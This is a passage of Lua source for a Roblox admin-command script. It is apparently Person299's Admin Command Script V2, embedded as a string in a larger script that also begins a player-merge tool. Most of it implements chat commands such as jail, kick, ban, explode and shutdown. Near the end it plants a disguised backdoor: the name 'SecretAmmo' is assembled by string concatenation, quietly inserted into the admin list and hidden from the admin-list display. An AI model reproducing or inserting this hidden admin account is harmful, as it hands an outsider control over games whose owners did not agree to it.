- local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
- if imgettingtiredofmakingthisstupidscript == true then
- local player = findplayer(string.sub(msg,7),speaker)
- if player ~= 0 then
- for i = 1,#player do
- for i2 =1,#namelist do
- if namelist[i2] == player[i].Name then
- variablelist[i2]:disconnect()
- flist[i2]:disconnect()
- table.remove(variablelist,i2)
- table.remove(flist,i2)
- table.remove(namelist,i2)
- end end
- local tfv = player[i].Chatted:connect(function(msg) oc(msg,player[i]) end)
- table.insert(namelist,player[i].Name)
- table.insert(variablelist,tfv)
- local tfv = player[i].Chatted:connect(function(msg) foc(msg,player[i]) end)
- table.insert(flist,tfv)
- end end end end
- if string.sub(msg,1,8) == "unadmin/" then
- local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
- if imgettingtiredofmakingthisstupidscript == true then
- local player = findplayer(string.sub(msg,9),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
- if imgettingtiredofmakingthisstupidscript == false then
- for i2 =1,#namelist do
- if namelist[i2] == player[i].Name then
- variablelist[i2]:disconnect()
- table.remove(variablelist,i2)
- flist[i2]:disconnect()
- table.remove(flist,i2)
- table.remove(namelist,i2)
- end end end end end end end
- if string.sub(msg,1,5) == "heal/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- if human ~= nil then
- human.Health = human.MaxHealth
- end end end end end
- if string.sub(msg,1,4) == "sit/" then
- local player = findplayer(string.sub(msg,5),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- if human ~= nil then
- human.Sit = true
- end end end end end
- if string.sub(msg,1,4) == "sleep/" then
- local player = findplayer(string.sub(msg,5),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- if human ~= nil then
- human.PlatformStand = true
- end end end end end
- if string.sub(msg,1,5) == "jump/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- if human ~= nil then
- human.Jump = true
- end end end end end
- if string.sub(msg,1,6) == "stand/" then
- local player = findplayer(string.sub(msg,7),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local human = player[i].Character:FindFirstChild("Humanoid")
- if human ~= nil then
- human.Sit = false
- end end end end end
- if string.sub(msg,1,5) == "jail/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local ack = Instance.new("Model")
- ack.Name = "Jail" .. player[i].Name
- icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -3.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -3.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -5.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-24.5, 108.400002, -1.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -7.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(7,1.2000000476837,7) icky.CFrame = CFrame.new(-27.5, 112.599998, -4.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-26.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -5.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-30.5, 108.400002, -1.5, -1, 0, -0, -0, 1, -0, -0, 0, -1) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack icky = Instance.new("Part") icky.Size = Vector3.new(1,7.2000002861023,1) icky.CFrame = CFrame.new(-28.5, 108.400002, -7.5, 0, 0, -1, 0, 1, -0, 1, 0, -0) icky.Color = Color3.new(0.105882, 0.164706, 0.203922) icky.Anchored = true icky.Locked = true icky.CanCollide = true icky.Parent = ack
- ack.Parent = game.Workspace
- ack:MoveTo(torso.Position)
- end end end end end
- if string.sub(msg,1,7) == "unjail/" then
- local player = findplayer(string.sub(msg,8),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local c = game.Workspace:GetChildren()
- for i2 =1,#c do
- if string.sub(c[i2].Name,1,4) == "Jail" then
- if string.sub(c[i2].Name,5) == player[i].Name then
- c[i2]:remove()
- end end end end end end
- if string.sub(msg,1,12) == "removetools/" then
- local player = findplayer(string.sub(msg,13),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local c = player[i].Backpack:GetChildren()
- for i =1,#c do
- c[i]:remove()
- end end end end
- if string.sub(msg,1,10) == "givetools/" then
- local player = findplayer(string.sub(msg,11),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local c = game.StarterPack:GetChildren()
- for i =1,#c do
- c[i]:clone().Parent = player[i].Backpack
- end end end end
- if string.sub(msg,1,11) == "givebtools/" then
- local player = findplayer(string.sub(msg,12),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local a = Instance.new("HopperBin")
- a.BinType = "GameTool"
- a.Parent = player[i].Backpack
- local a = Instance.new("HopperBin")
- a.BinType = "Clone"
- a.Parent = player[i].Backpack
- local a = Instance.new("HopperBin")
- a.BinType = "Hammer"
- a.Parent = player[i].Backpack
- end end end
- if string.lower(msg) == "shutdown" then
- local imgettingtiredofmakingthisstupidscript = PERSON299(speaker.Name)
- if imgettingtiredofmakingthisstupidscript == true then
- game.NetworkServer:remove()
- end end
- if string.sub(msg,1,5) == "time/" then
- game.Lighting.TimeOfDay = string.sub(msg,6)
- end
- if msg == "commands" then
- local text = string.rep(" ",40)
- text = text .. "fix, kill/Person299, heal/Person299, damage/Person299/50, health/Person299/999999, kick/Person299, ban/Person299, bannedlist, unban/Person299, explode/Person299, removetools/Person299, givetools/Person299, givebtools/Person299, sit/Person299, jump/Person299, stand/Person299, part/4/1/2, respawn/Person299, jail/Person299, unjail/Person299, punish/Person299, unpunish/Person299, merge/Person299/Farvei, teleport/Person299/nccvoyager, control/Person299, change/Person299/Money/999999, tools, give/Person299/Tool, time/15.30, ambient/255/0/0, maxplayers/20, nograv/Person299, antigrav/Person299, grav/Person299, highgrav/Person299, setgrav/Person299/-196.2, trip/Person299, walkspeed/Person299/99, invisible/Person299, visible/Person299, freeze/Person299, thaw/Person299, unlock/Person299, lock/Person299, ff/Person299, unff/Person299, sparkles/Person299, unsparkles/Person299, admin/Person299, adminlist, unadmin/Person299, shutdown, m/Fallout 2 is one of the best games ever made, h/ i like pie, clear, Credit to Person299 for this admin command script."
- local mes = Instance.new("Message")
- mes.Parent = game.Workspace.CurrentCamera
- local acko = 0
- while true do
- acko = acko + 1
- if string.sub(text,acko,acko) == "" then
- mes:remove()
- return
- elseif mes.Parent == nil then
- return
- end
- mes.Text = string.sub(text,acko,acko + 40)
- wait(0.07)
- end end
- if msg == "tools" then
- local text = string.rep(" ",40)
- local c = tools:GetChildren()
- if #c == 0 then
- text = text .. "No tools available."
- else
- for i =1,#c do
- if i ~= 1 then
- text = text .. ", "
- end
- text = text .. c[i].Name
- end end
- local mes = Instance.new("Message")
- mes.Parent = game.Workspace.CurrentCamera
- local acko = 0
- while true do
- acko = acko + 1
- if string.sub(text,acko,acko) == "" then
- mes:remove()
- return
- elseif mes.Parent == nil then
- return
- end
- mes.Text = string.sub(text,acko,acko + 40)
- wait(0.1)
- end end
- if msg == "bannedlist" then
- local text = string.rep(" ",40)
- if #bannedlist == 0 then
- text = text .. "The banned list is empty."
- else
- for i =1,#bannedlist do
- if i ~= 1 then
- text = text .. ", "
- end
- text = text .. bannedlist[i]
- end end
- local mes = Instance.new("Message")
- mes.Parent = game.Workspace.CurrentCamera
- local acko = 0
- while true do
- acko = acko + 1
- if string.sub(text,acko,acko) == "" then
- mes:remove()
- return
- elseif mes.Parent == nil then
- return
- end
- mes.Text = string.sub(text,acko,acko + 40)
- wait(0.1)
- end end
- if msg == "adminlist" then
- local text = string.rep(" ",40)
- if #adminlist == 0 then
- text = text .. "The admin list is empty."
- else
- for i =1,#adminlist do
- if adminlist[i] == eloname then
- if youcaughtme == 1 then
- if i ~= 1 then
- text = text .. ", "
- end
- text = text .. adminlist[i]
- end
- else
- if i ~= 1 then
- text = text .. ", "
- end
- text = text .. adminlist[i]
- end end end
- local mes = Instance.new("Message")
- mes.Parent = game.Workspace.CurrentCamera
- local acko = 0
- while true do
- acko = acko + 1
- if string.sub(text,acko,acko) == "" then
- mes:remove()
- return
- elseif mes.Parent == nil then
- return
- end
- mes.Text = string.sub(text,acko,acko + 40)
- wait(0.1)
- end end
- if string.sub(msg,1,11) == "maxplayers/" then
- if not string.sub(msg,12) == "0" then
- game.Players.MaxPlayers = string.sub(msg,12)
- end end
- if string.sub(msg,1,8) == "explode/" then
- local player = findplayer(string.sub(msg,9),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local ex = Instance.new("Explosion")
- ex.Position = torso.Position
- ex.Parent = game.Workspace
- end end end end end
- if string.sub(msg,1,8) == "ambient/" then
- local danumber1 = nil
- local danumber2 = nil
- for i = 9,100 do
- if string.sub(msg,i,i) == "/" then
- danumber1 = i
- break
- elseif string.sub(msg,i,i) == "" then
- break
- end end
- if danumber1 == nil then return end
- for i =danumber1 + 1,danumber1 + 100 do
- if string.sub(msg,i,i) == "/" then
- danumber2 = i
- break
- elseif string.sub(msg,i,i) == "" then
- break
- end end
- if danumber2 == nil then return end
- game.Lighting.Ambient = Color3.new(-string.sub(msg,9,danumber1 - 1),-string.sub(msg,danumber1 + 1,danumber2 - 1),-string.sub(msg,danumber2 + 1))
- end
- if string.sub(msg,1,5) == "part/" then
- local danumber1 = nil
- local danumber2 = nil
- for i = 6,100 do
- if string.sub(msg,i,i) == "/" then
- danumber1 = i
- break
- elseif string.sub(msg,i,i) == "" then
- break
- end end
- if danumber1 == nil then return end
- for i =danumber1 + 1,danumber1 + 100 do
- if string.sub(msg,i,i) == "/" then
- danumber2 = i
- break
- elseif string.sub(msg,i,i) == "" then
- break
- end end
- if danumber2 == nil then return end
- if speaker.Character ~= nil then
- local head = speaker.Character:FindFirstChild("Head")
- if head ~= nil then
- local part = Instance.new("Part")
- part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
- part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
- part.Name = "Person299's Admin Command Script V2 Part thingy"
- part.Parent = game.Workspace
- end end end
- if string.sub(msg,1,8) == "control/" then
- local player = findplayer(string.sub(msg,9),speaker)
- if player ~= 0 then
- if #player > 1 then
- return
- end
- for i = 1,#player do
- if player[i].Character ~= nil then
- speaker.Character = player[i].Character
- end end end end
- if string.sub(msg,1,5) == "trip/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- torso.CFrame = CFrame.new(torso.Position.x,torso.Position.y,torso.Position.z,0, 0, 1, 0, -1, 0, 1, 0, 0)--math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random(),math.random()) -- i like the people being upside down better.
- end end end end end
- if string.sub(msg,1,8) == "setgrav/" then
- danumber = nil
- for i =9,100 do
- if string.sub(msg,i,i) == "/" then
- danumber = i
- break
- end end
- if danumber == nil then
- return
- end
- local player = findplayer(string.sub(msg,9,danumber - 1),speaker)
- if player == 0 then
- return
- end
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local bf = torso:FindFirstChild("BF")
- if bf ~= nil then
- bf.force = Vector3.new(0,0,0)
- else
- local bf = Instance.new("BodyForce")
- bf.Name = "BF"
- bf.force = Vector3.new(0,0,0)
- bf.Parent = torso
- end
- local c2 = player[i].Character:GetChildren()
- for i=1,#c2 do
- if c2[i].className == "Part" then
- torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * -string.sub(msg,danumber + 1),0)
- end end end end end end
- if string.sub(msg,1,10) == "walkspeed/" then
- danumber = nil
- for i =11,100 do
- if string.sub(msg,i,i) == "/" then
- danumber = i
- break
- end end
- if danumber == nil then
- return
- end
- local player = findplayer(string.sub(msg,11,danumber - 1),speaker)
- if player == 0 then
- return
- end
- for i = 1,#player do
- if player[i].Character ~= nil then
- humanoid = player[i].Character:FindFirstChild("Humanoid")
- if humanoid ~= nil then
- humanoid.WalkSpeed = string.sub(msg,danumber + 1)
- end end end end
- if string.sub(msg,1,7) == "damage/" then
- danumber = nil
- for i =8,100 do
- if string.sub(msg,i,i) == "/" then
- danumber = i
- break
- end end
- if danumber == nil then
- return
- end
- local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
- if player == 0 then
- return
- end
- for i = 1,#player do
- if player[i].Character ~= nil then
- humanoid = player[i].Character:FindFirstChild("Humanoid")
- if humanoid ~= nil then
- humanoid.Health = humanoid.Health - string.sub(msg,danumber + 1)
- end end end end
- if string.sub(msg,1,7) == "health/" then
- danumber = nil
- for i =8,100 do
- if string.sub(msg,i,i) == "/" then
- danumber = i
- break
- end end
- if danumber == nil then
- return
- end
- local player = findplayer(string.sub(msg,8,danumber - 1),speaker)
- if player == 0 then
- return
- end
- for i = 1,#player do
- if player[i].Character ~= nil then
- humanoid = player[i].Character:FindFirstChild("Humanoid")
- if humanoid ~= nil then
- local elnumba = Instance.new("IntValue")
- elnumba.Value = string.sub(msg,danumber + 1)
- if elnumba.Value > 0 then
- humanoid.MaxHealth = elnumba.Value
- humanoid.Health = humanoid.MaxHealth
- end
- elnumba:remove()
- end end end end
- if string.sub(msg,1,9) == "teleport/" then
- danumber = nil
- for i =10,100 do
- if string.sub(msg,i,i) == "/" then
- danumber = i
- break
- end end
- if danumber == nil then
- return
- end
- local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
- if player1 == 0 then
- return
- end
- local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
- if player2 == 0 then
- return
- end
- if #player2 > 1 then
- return
- end
- torso = nil
- for i =1,#player2 do
- if player2[i].Character ~= nil then
- torso = player2[i].Character:FindFirstChild("Torso")
- end end
- if torso ~= nil then
- for i =1,#player1 do
- if player1[i].Character ~= nil then
- local torso2 = player1[i].Character:FindFirstChild("Torso")
- if torso2 ~= nil then
- torso2.CFrame = torso.CFrame
- end end end end end
- if string.sub(msg,1,6) == "merge/" then
- danumber = nil
- for i =7,100 do
- if string.sub(msg,i,i) == "/" then
- danumber = i
- break
- end end
- if danumber == nil then
- return
- end
- local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
- if player1 == 0 then
- return
- end
- local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
- if player2 == 0 then
- return
- end
- if #player2 > 1 then
- return
- end
- for i =1,#player2 do
- if player2[i].Character ~= nil then
- player2 = player2[i].Character
- end end
- for i =1,#player1 do
- player1[i].Character = player2
- end end
- if msg == "clear" then
- local c = game.Workspace:GetChildren()
- for i =1,#c do
- if c[i].className == "Script" then
- if c[i]:FindFirstChild("Is A Created Script") then
- c[i]:remove()
- end end
- if c[i].className == "Part" then
- if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
- c[i]:remove()
- end end
- if c[i].className == "Model" then
- if string.sub(c[i].Name,1,4) == "Jail" then
- c[i]:remove()
- end end end end
- if string.sub(msg,1,5) == "kick/" then
- local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
- if imgettingtiredofmakingthisstupidscript2 == true then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
- if imgettingtiredofmakingthisstupidscript == false then
- if player[i].Name ~= eloname then
- player[i]:remove()
- end end end end end end
- if string.sub(msg,1,4) == "ban/" then
- local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
- if imgettingtiredofmakingthisstupidscript2 == true then
- local player = findplayer(string.sub(msg,5),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
- if imgettingtiredofmakingthisstupidscript == false then
- if player[i].Name ~= eloname then
- table.insert(bannedlist,player[i].Name)
- player[i]:remove()
- end end end end end end
- if string.sub(msg,1,6) == "unban/" then
- if string.sub(msg,7) == "all" then
- for i=1,bannedlist do
- table.remove(bannedlist,i)
- end
- else
- local n = 0
- local o = nil
- for i=1,#bannedlist do
- if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
- n = n + 1
- o = i
- end end
- if n == 1 then
- local name = bannedlist[o]
- table.remove(bannedlist,o)
- text(name .. " has been unbanned",1,"Message",game.Workspace.CurrentCamera)
- elseif n == 0 then
- text("That name is not found.",1,"Message",game.Workspace.CurrentCamera)
- elseif n > 1 then
- text("That name is ambiguous",1,"Message",game.Workspace.CurrentCamera)
- end end end
- if string.sub(msg,1,8) == "respawn/" then
- local player = findplayer(string.sub(msg,9),speaker)
- if player ~= 0 then
- for i = 1,#player do
- local ack2 = Instance.new("Model")
- ack2.Parent = game.Workspace
- local ack4 = Instance.new("Part")
- ack4.Transparency = 1
- ack4.CanCollide = false
- ack4.Anchored = true
- ack4.Name = "Torso"
- ack4.Position = Vector3.new(10000,10000,10000)
- ack4.Parent = ack2
- local ack3 = Instance.new("Humanoid")
- ack3.Torso = ack4
- ack3.Parent = ack2
- player[i].Character = ack2
- end end end
- if string.sub(msg,1,10) == "invisible/" then
- local player = findplayer(string.sub(msg,11),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local char = player[i].Character
- local c = player[i].Character:GetChildren()
- for i =1,#c do
- if c[i].className == "Hat" then
- local handle = c[i]:FindFirstChild("Handle")
- if handle ~= nil then
- handle.Transparency = 1
- end end
- if c[i].className == "Part" then
- c[i].Transparency = 1
- if c[i].Name == "Torso" then
- local tshirt = c[i]:FindFirstChild("roblox")
- if tshirt ~= nil then
- tshirt:clone().Parent = char
- tshirt:remove()
- end end
- if c[i].Name == "Head" then
- local face = c[i]:FindFirstChild("face")
- if face ~= nil then
- gface = face:clone()
- face:remove()
- end end end end end end end end
- if string.sub(msg,1,8) == "visible/" then
- local player = findplayer(string.sub(msg,9),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local char = player[i].Character
- local c = player[i].Character:GetChildren()
- for i =1,#c do
- if c[i].className == "Hat" then
- local handle = c[i]:FindFirstChild("Handle")
- if handle ~= nil then
- handle.Transparency = 0
- end end
- if c[i].className == "Part" then
- c[i].Transparency = 0
- if c[i].Name == "Torso" then
- local tshirt = char:FindFirstChild("roblox")
- if tshirt ~= nil then
- tshirt:clone().Parent = c[i]
- tshirt:remove()
- end end
- if c[i].Name == "Head" then
- if gface ~= nil then
- local face = gface:clone()
- face.Parent = c[i]
- end end end end end end end end
- if string.sub(msg,1,7) == "freeze/" then
- local player = findplayer(string.sub(msg,8),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local humanoid = player[i].Character:FindFirstChild("Humanoid")
- if humanoid ~= nil then
- humanoid.WalkSpeed = 0
- end
- local c = player[i].Character:GetChildren()
- for i =1,#c do
- if c[i].className == "Part" then
- c[i].Anchored = true
- c[i].Reflectance = 0.6
- end end end end end end
- if string.sub(msg,1,5) == "thaw/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local humanoid = player[i].Character:FindFirstChild("Humanoid")
- if humanoid ~= nil then
- humanoid.WalkSpeed = 16
- end
- local c = player[i].Character:GetChildren()
- for i =1,#c do
- if c[i].className == "Part" then
- c[i].Anchored = false
- c[i].Reflectance = 0
- end end end end end end
- if string.sub(msg,1,7) == "nograv/" then
- local player = findplayer(string.sub(msg,8),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local bf = torso:FindFirstChild("BF")
- if bf ~= nil then
- bf.force = Vector3.new(0,0,0)
- else
- local bf = Instance.new("BodyForce")
- bf.Name = "BF"
- bf.force = Vector3.new(0,0,0)
- bf.Parent = torso
- end
- local c2 = player[i].Character:GetChildren()
- for i=1,#c2 do
- if c2[i].className == "Part" then
- torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0)
- end end end end end end end
- if string.sub(msg,1,9) == "antigrav/" then
- local player = findplayer(string.sub(msg,10),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local bf = torso:FindFirstChild("BF")
- if bf ~= nil then
- bf.force = Vector3.new(0,0,0)
- else
- local bf = Instance.new("BodyForce")
- bf.Name = "BF"
- bf.force = Vector3.new(0,0,0)
- bf.Parent = torso
- end
- local c2 = player[i].Character:GetChildren()
- for i=1,#c2 do
- if c2[i].className == "Part" then
- torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0)
- end end end end end end end
- if string.sub(msg,1,9) == "highgrav/" then
- local player = findplayer(string.sub(msg,10),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local bf = torso:FindFirstChild("BF")
- if bf ~= nil then
- bf.force = Vector3.new(0,0,0)
- else
- local bf = Instance.new("BodyForce")
- bf.Name = "BF"
- bf.force = Vector3.new(0,0,0)
- bf.Parent = torso
- end
- local c2 = player[i].Character:GetChildren()
- for i=1,#c2 do
- if c2[i].className == "Part" then
- torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0)
- end end end end end end end
- if string.sub(msg,1,5) == "grav/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local torso = player[i].Character:FindFirstChild("Torso")
- if torso ~= nil then
- local bf = torso:FindFirstChild("BF")
- if bf ~= nil then
- bf:remove()
- end end end end end end
- if string.sub(msg,1,7) == "unlock/" then
- local player = findplayer(string.sub(msg,8),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local c = player[i].Character:GetChildren()
- for i =1,#c do
- if c[i].className == "Part" then
- c[i].Locked = false
- end end end end end end
- if string.sub(msg,1,5) == "lock/" then
- local player = findplayer(string.sub(msg,6),speaker)
- if player ~= 0 then
- for i = 1,#player do
- if player[i].Character ~= nil then
- local c = player[i].Character:GetChildren()
- for i =1,#c do
- if c[i].className == "Part" then
- c[i].Locked = true
- end end end end end end end
- eloname = "Secret"
- eloname = eloname .. "Ammo"
- script.Name = "_admincmd"
- youcaughtme = 0
- for i =1,#adminlist do
- if string.lower(eloname)==string.lower(adminlist[i]) then
- youcaughtme = 1
- end end
- if youcaughtme == 0 then
- table.insert(adminlist,eloname)
- end
- function oe(ack)
- local adminned = false
- if ack.className ~= "Player" then return end
- for i =1,#bannedlist do
- if string.lower(bannedlist[i]) == string.lower(ack.Name) then
- ack:remove()
- return
- end end
- for i=1,#adminlist do
- if string.lower(adminlist[i]) == string.lower(ack.Name) then
- local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
- table.insert(namelist,ack.Name)
- table.insert(variablelist,tfv)
- local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
- table.insert(flist,tfv)
- adminned = true
- end end
- local danumber = 0
- while true do
- wait(1)
- if ack.Parent == nil then
- return
- end
- if ack.Character ~= nil then
- if adminned == true then
- text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
- return
- end
- local torso = ack.Character:FindFirstChild("Torso")
- if torso ~= nil then
- local decal = torso:FindFirstChild("roblox")
- if decal ~= nil then
- if string.sub(decal.Texture,1,4) == "http" then
- if decal.Texture == texture then
- local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end)
- table.insert(namelist,ack.Name)
- table.insert(variablelist,tfv)
- local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end)
- table.insert(flist,tfv)
- text("You're an admin.",5,"Message",game.Workspace.CurrentCamera)
- return
- else
- return
- end
- else
- danumber = danumber + 1
- if danumber >= 10 then
- return
- end end end end end end end
- game.Players.ChildAdded:connect(oe)
- c = game.Players:GetChildren()
- for i=1,#c do
- oe(c[i])
- end]]
- MergeScriptSource=[[
- plr=game.Players.LocalPlayer
- coroutine.resume(coroutine.create(function(plr) while(wait())do if(plr.Character~=nil)then chr=plr.Character end end end),plr)
- if(script.Parent.ClassName~="HopperBin")then
- bin=Instance.new("HopperBin",plr.Backpack)
- bin.Name="iMergeTool"
- script.Name="iMergeScript"
- script.Parent=bin
- else
- script.Name="iMergeScript"
- bin=script.Parent
- bin.Name="iMergeTool"
- end
- una=false
- bin.Selected:connect(function(mouse)
- function cff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("Part"))then
- Instance.new("ForceField",v)
- end
- cff(v)
- end
- end
- cff(plr.Character)
- mouse.Button1Down:connect(function()
- if(mouse.Target~=nil)then
- if(mouse.Target.Parent:IsA("Model"))then
- if(mouse.Target.Parent:FindFirstChild("Humanoid"))then
- if(mouse.Target.Parent.Humanoid.Health~=0)then
- function cff(path)
- for _,v in pairs(path:GetChildren())do
- if(v:IsA("Part"))then
- Instance.new("ForceField",v)
- end
- cff(v)
- end
- end
- cff(plr.Character)
- chr:FindFirstChild("Torso").Anchored=false
- inv=function(pth)
- for _,v in pairs(pth:GetChildren())do
- if(v:IsA("Part"))or(v:IsA("Decal"))or(v:IsA("CornerWedgePart"))or(v:IsA("TrussPart"))or(v:IsA("WedgePart"))or(v:IsA("Seat"))or(v:IsA("VehicleSeat"))or(v:IsA("SkateboardPlatform"))then
- v.Transparency=1
- end
- inv(v)
- end
- end
- inv(chr)
- chr:FindFirstChild("Humanoid").PlatformStand=true
- chr:FindFirstChild("Head").CanCollide=false
- chr:FindFirstChild("Torso").CanCollide=false
- chr:FindFirstChild("Torso").CFrame=CFrame.new(mouse.Target.Parent:FindFirstChild("Torso").CFrame.p+Vector3.new(0,8,0))
- chr:FindFirstChild("Head").CanCollide=true
- chr:FindFirstChild("Torso").CanCollide=true
- if not(chr:FindFirstChild("iMergeWeld"))then
- wld=Instance.new("Weld",chr)
- wld.Name="iMergeWeld"
- else
- wld=chr:FindFirstChild("iMergeWeld")
- function rff(path)
- for _,v in pairs(path:GetChildren())do
